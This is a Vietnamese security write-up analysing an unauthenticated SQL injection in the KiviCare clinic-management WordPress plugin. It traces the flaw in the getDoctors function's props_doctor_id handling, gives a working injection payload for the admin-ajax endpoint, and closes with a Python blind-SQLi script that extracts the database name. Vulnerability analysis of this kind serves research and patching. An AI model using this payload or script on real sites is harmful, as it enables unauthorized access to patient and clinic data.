Table of contents
KiviCare là một plugin quản lý phòng khám và bệnh nhân dành cho WordPress. Plugin này còn khá mới nên chưa phổ biến và lượng người dùng không nhiều (~1.000 lượt active).
Hôm 23/5/2022 vừa rồi một researcher đã tìm thấy lỗ hổng Unauthenticated SQLi trong plugin này với điểm CVSS đạt 8.3
Phân tích lỗ hổng
Trang wpscan có nói rằng:
The plugin does not sanitise and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route
Vậy là lỗ hổng nằm ở get_doctor_details
route, tìm trong source code của plugin:
'get_doctor_details' => [ 'method' => 'get', 'action' => 'KCBookAppointmentWidgetController@getDoctors' , 'nonce' => 0 ],
Route này sẽ invoke function getDoctors
tại KCBookAppointmentWidgetController
, function này đầu tiên sẽ kiểm tra parameter clinic_id
:
public function getDoctors () {
$request_data = $this->request->getInputs();
...
$request_data['clinic_id'] = json_decode( stripslashes( sanitize_text_field($request_data['clinic_id'])), true);
if(isset($request_data['clinic_id']['id']) && !empty($request_data['clinic_id']['id']) ){
...
}
...
}
→ Parameter clinic_id
không cần phải có giá trị hợp lệ nhưng phải ở dạng JSON và phải có key id ví dụ như:
clinic_id = {"id":"1"}
Sau khi clinic_id
thỏa mãn điều kiện thì function này sẽ xử lý tiếp như sau:
if(isset($request_data['clinic_id']['id']) && !empty($request_data['clinic_id']['id']) ){
$request_data['clinic_id']['id'] = (int)$request_data['clinic_id']['id'];
$doctor_condition = ' ';
if(!empty($request_data['props_doctor_id']) && !in_array($request_data['props_doctor_id'],[0,'0'])){
if(strpos($request_data['props_doctor_id'], ',') !== false){
if(isKiviCareProActive()){
$doctor_condition = ' AND doctor_id IN ('.$request_data['props_doctor_id'].')';
}else{
$doctor_condition = ' WHERE ID IN ('.$request_data['props_doctor_id'].')';
}
}else{
if(isKiviCareProActive()){
$doctor_condition = ' AND doctor_id ='.(int)$request_data['props_doctor_id'];
}else{
$doctor_condition = ' WHERE ID ='.(int)$request_data['props_doctor_id'];
}
}
}
if(!empty($request_data['props_clinic_id']) && !in_array($request_data['props_clinic_id'],[0,'0'])){
$request_data['clinic_id']['id'] = (int)$request_data['props_clinic_id'];
}
if(isKiviCareProActive()){
$query = "SELECT `doctor_id` FROM {$table_name} WHERE `clinic_id` =".$request_data['clinic_id']['id'].$doctor_condition ;
}else{
$query = "SELECT `ID` FROM {$this->db->prefix}users {$doctor_condition}" ;
}
...
}
Do đã biết trước là SQLi nên mình tập trung vào các câu truy vấn:
if(isKiviCareProActive()){
$query = "SELECT `doctor_id` FROM {$table_name} WHERE `clinic_id` =".$request_data['clinic_id']['id'].$doctor_condition ;
}else{
$query = "SELECT `ID` FROM {$this->db->prefix}users {$doctor_condition}" ;
}
Điều kiện isKiviCareProActive()
chắc chắn trả về false vì mình đang cài bản free 😬 Vì thế nên chỉ cần để ý câu truy vấn ở dưới, $doctor_condition
có thể là Injection point.
Truy ngược lên trên, bỏ qua các nhánh if(isKiviCareProActive())
, mình thấy $doctor_condition
được gán giá trị bởi 1 trong 2 cách:
if(strpos($request_data['props_doctor_id'], ',') !== false){
$doctor_condition = ' WHERE ID IN ('.$request_data['props_doctor_id'].')';
}else{
$doctor_condition = ' WHERE ID ='.(int)$request_data['props_doctor_id'];
}
Cả 2 cách này đều dùng cộng string, tuy nhiên cách thứ 2 sử dụng ép kiểu int nên để khai thác được thì phải đi vào nhánh đúng của if
. Để vào nhánh này thì cần thỏa mãn strpos($request_data['props_doctor_id'], ',') !== false
, điều này có nghĩa là giá trị của props_doctor_id
cần phải chứa dấu ,
Xử lý xong câu if
này thì mình tiếp tục đi lên trên, câu if
ở trên không có gì đặc biệt:
if(!empty($request_data['props_doctor_id']) && !in_array($request_data['props_doctor_id'],[0,'0']))
Đến giờ thì đã có đầy đủ thông tin để xây dựng payload:
Reproduce vulnerable endpoint: Dựa vào thông tin lỗ hổng nằm ở
get_doctor_details
route nên mình có thể reproduce vulnerable endpoint bằng cách gửi GET request đến/wp-admin/admin-ajax.php
vớiaction=ajax_get
vàroute_name=get_doctor_details
Payload
Đầu tiên cần có
clinic_id
thỏa mãn điều kiện nêu ở trên như:clinic_id={”id”:”1”}
Sau đó
props_doctor_id
sẽ chứa payload thỏa mãn điều kiện duy nhất là có chứa dấu,
:props_doctor_id=1,2)+OR+1=1--+-
Lúc này câu truy vấn sẽ trở thành:
SELECT `ID` FROM users WHERE ID IN (1,2) OR 1=1 -- -)
Proof-of-Concept
Sample request/response (với điều kiện đúng):
Sample request/response (với điều kiện sai):
Exploit code:
import requests
db_name = ""
for i in range(1, 10):
for j in range(65, 113):
payload = f"1,2)+OR+SUBSTRING(database(),{i},1)=CHAR({j})--+-"
url = "http://localhost:80/wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id={\"id\":\"1\",\"label\":\"SAS\"}&props_doctor_id="
r = requests.get(url + payload)
if "true" in r.text:
db_name += chr(j)
print(f"DB_NAME: {db_name}")
break